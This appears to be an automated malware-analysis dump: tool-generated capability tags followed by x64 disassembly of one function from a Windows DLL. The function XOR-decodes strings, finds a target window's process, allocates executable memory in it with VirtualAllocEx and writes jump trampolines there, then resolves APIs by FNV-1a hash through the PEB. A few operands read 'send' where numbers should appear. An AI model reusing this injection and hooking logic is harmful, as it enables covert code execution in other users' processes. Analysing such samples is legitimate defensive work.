Function at 0x1800023d0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x180025010]
xor rax, rsp
mov qword [rbp + 0x50], rax
xor r12d, r12d
mov esi, r12d
mov dword [rsp + 0x30], r12d
movabs rdi, 0x1e388483af516bf
mov qword [rbp + 0x10], rdi
movabs r14, 0x96ec5281c468960c
mov qword [rbp + 0x18], r14
movabs rax, 0x182882d3a8116ec
mov qword [rsp + 0x40], rax
movabs rax, 0x96ec5281c4689661
mov qword [rsp + 0x48], rax
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], r14
movabs rax, 0x1bc88043ab116ec
mov qword [rbp + 0x10], rax
movabs rax, 0x96ec52f1c418966d
mov qword [rbp + 0x18], rax
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call qword [sym.imp.USER32.dll_FindWindowW]
mov edx, r12d
mov dword [rsp + 0x30], edx
test rax, rax
je 0x1800024b8
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [rsp + 0x30]
mov qword [rbp + 0x10], r12
lea rcx, [rbp + 0x10]
call fcn.180006850
mov r13, rax
mov rbx, qword [rbp + 0x10]
test rax, rax
je 0x180002bd7
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x50]
call fcn.180001600
nop
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], r14
movabs rax, 0xa2c103c682792481
mov qword [rbp + 0x30], rax
movabs rax, 0x5a447f3f02bf558e
mov qword [rbp + 0x38], rax
movabs rax, 0xddb9d024d5e8cc53
mov qword [rbp + 0x40], rax
movabs rcx, 0xea32e7dd44de38b0
mov qword [rbp + 0x48], rcx
movabs rax, 0x182882d3a8116cc
mov qword [rbp - 0x80], rax
movabs rax, 0x968e52e4c41f9661
mov qword [rbp - 0x78], rax
movabs rax, 0xa2b103aa821c24e9
mov qword [rbp - 0x70], rax
movabs rax, 0x5a217f1102cd55eb
mov qword [rbp - 0x68], rax
movabs rax, 0xddb9d024d58dcc2b
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rcx
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp - 0x70]
pxor xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x60]
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp - 0x60], xmm0
test rbx, rbx
je 0x180002bcd
lea r8, [rbp - 0x80]
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.180006060
mov r14, qword [rbp - 0x10]
test r14, r14
je 0x180002bcd
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x40], r12
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov qword [rsp + 0x58], r12
mov rdi, qword [rbp - 8]
test rdi, rdi
je 0x180002892
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], r12
mov r15d, 1
mov dword [rsp + 0x30], r15d
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.180005780
mov r9, rdi
mov r8, qword [rsp + 0x60]
mov rdx, r14
mov rcx, rbx
call fcn.180005b80
mov qword [rsp + 0x40], r14
mov rcx, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rcx
cmovne rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rcx
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.180005780
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
sub r8, rdx
mov rcx, qword [rsp + 0x48]
call fcn.18000d960
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov rdx, qword [rsp + 0x50]
sub rdx, qword [rsp + 0x48]
lea rcx, [rbp - 0x80]
call fcn.180005780
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
sub r8, rdx
mov rcx, qword [rbp - 0x80]
call fcn.18000d960
nop
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x1800026f3
mov rdx, qword [rbp - 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800026e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002cf9
call fcn.180009570
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov esi, 2
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x180002742
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000272f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002cff
call fcn.180009570
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov rax, qword [rbp - 0x50]
add rax, 8
cmp qword [rax + 0x18], 0x10
jb 0x180002754
mov rax, qword [rax]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
cmp rcx, rdx
je 0x180002897
test rax, rax
je 0x180002897
xorps xmm0, xmm0
xor r8d, r8d
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r8
sub rdx, rcx
mov qword [rsp + 0x20], rax
mov r9d, edx
mov r8, rcx
lea rdx, [rbp + 0x20]
call fcn.180006d30
nop
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
sub rax, rcx
sar rax, 2
test rax, rax
je 0x180002850
mov edi, dword [rcx]
add edi, 0x11
test rcx, rcx
je 0x1800027f5
mov rax, qword [rbp + 0x30]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800027f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002cff
call fcn.180009570
cmp edi, 0xffffffff
je 0x180002892
movsxd rcx, edi
add rcx, r14
mov rax, qword [rbp - 0x50]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1800028d1
mov rdx, qword [rsp + 0x58]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002846
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002d05
call fcn.180009570
jmp 0x1800028d1
test rcx, rcx
je 0x180002892
mov rax, qword [rbp + 0x30]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000288d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002cff
call fcn.180009570
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1800028ce
mov rdx, qword [rsp + 0x58]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800028c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002d05
call fcn.180009570
mov r15d, r12d
test r15d, r15d
je 0x180002bcd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x50]
mov rdi, qword [rax]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
or esi, 4
mov dword [rsp + 0x30], esi
mov edx, send
lea rcx, [rbp - 0x80]
call fcn.180005780
mov r9d, send
mov r8, qword [rbp - 0x80]
mov rdx, rdi
mov rcx, rbx
call fcn.180005b80
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x101000
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jle 0x180002b90
xorps xmm0, xmm0
mov dword [rbp - 0x10], 0x8418b50
mov dword [rbp - 0xc], 0x6769733d
mov dword [rbp - 8], 0xc706756e
mov dword [rbp - 4], 1
mov word [rbp], 0x5800
movdqu xmmword [rsp + 0x60], xmm0
xor edi, edi
mov qword [rsp + 0x70], rdi
xor edx, edx
lea r9, [rbp + 2]
lea r8, [rbp - 0x10]
lea rcx, [rsp + 0x60]
call fcn.180005400
nop
mov r14, qword [rbp - 0x78]
mov r15, qword [rbp - 0x80]
sub r14, r15
test r15, r15
je 0x1800029d5
test r14, r14
je 0x1800029d5
mov rdi, qword [rsp + 0x68]
sub rdi, qword [rsp + 0x60]
lea rdx, [r14 + rdi]
lea rcx, [rsp + 0x60]
call fcn.180005780
mov rcx, qword [rsp + 0x60]
add rcx, rdi
mov r8, r14
mov rdx, r15
call fcn.18000d960
xor edi, edi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.180005780
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
sub r8, rdx
mov rcx, qword [rbp + 0x20]
call fcn.18000d960
nop
or esi, 8
mov dword [rsp + 0x30], esi
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x180002a4c
mov rdx, qword [rbp + 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002a47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002d0b
call fcn.180009570
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.180005780
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
sub r8, rdx
mov rcx, qword [rbp + 0x20]
call fcn.18000d960
nop
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov r9, qword [rbp + 0x28]
mov r8, qword [rbp + 0x20]
sub r9, r8
mov rdx, r12
mov rcx, rbx
call fcn.180005cf0
nop
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x180002ae5
mov rdx, qword [rbp + 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002ae0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002d11
call fcn.180009570
mov rax, qword [rbp - 0x50]
mov rcx, qword [rax]
add rcx, 0x11
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rsp + 0x60]
add rdx, r12
mov dword [rsp + 0x40], 0x25ff
mov word [rsp + 0x44], 0
mov qword [rsp + 0x46], rcx
mov r9d, send
lea r8, [rsp + 0x40]
mov rcx, r13
call fcn.180005cf0
mov rax, qword [rbp - 0x50]
mov dword [rsp + 0x40], 0x25ff
mov word [rsp + 0x44], 0
mov qword [rsp + 0x46], r12
mov r9d, send
lea r8, [rsp + 0x40]
mov rdx, qword [rax]
mov rcx, r13
call fcn.180005cf0
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x180002b90
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002b8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002d17
call fcn.180009570
nop
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x180002bca
mov rdx, qword [rbp - 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002bc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002cf3
call fcn.180009570
xor r12d, r12d
lea rcx, [rbp - 0x50]
call fcn.180002d20
nop
test rbx, rbx
je 0x180002cad
mov rax, qword [0x180026d48]
test rax, rax
jne 0x180002ca7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x180002c83
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x180002c83
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov eax, dword [rax + r11]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x180002c7e
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x180002c60
cmp edx, 0xfaba0065
je 0x180002cda
test r8d, r8d
jne 0x180002c40
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x180002c99
cmp qword [rax + 0x30], 0
jne 0x180002c10
mov rax, r12
mov qword [0x180026d48], rax
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call rax
nop
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.1800091f0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x180002c9c
call fcn.18000e20c
nop
call fcn.18000e20c
nop
call fcn.18000e20c
nop
call fcn.18000e20c
nop
call fcn.18000e20c
int3
call fcn.18000e20c
nop
call fcn.18000e20c
int3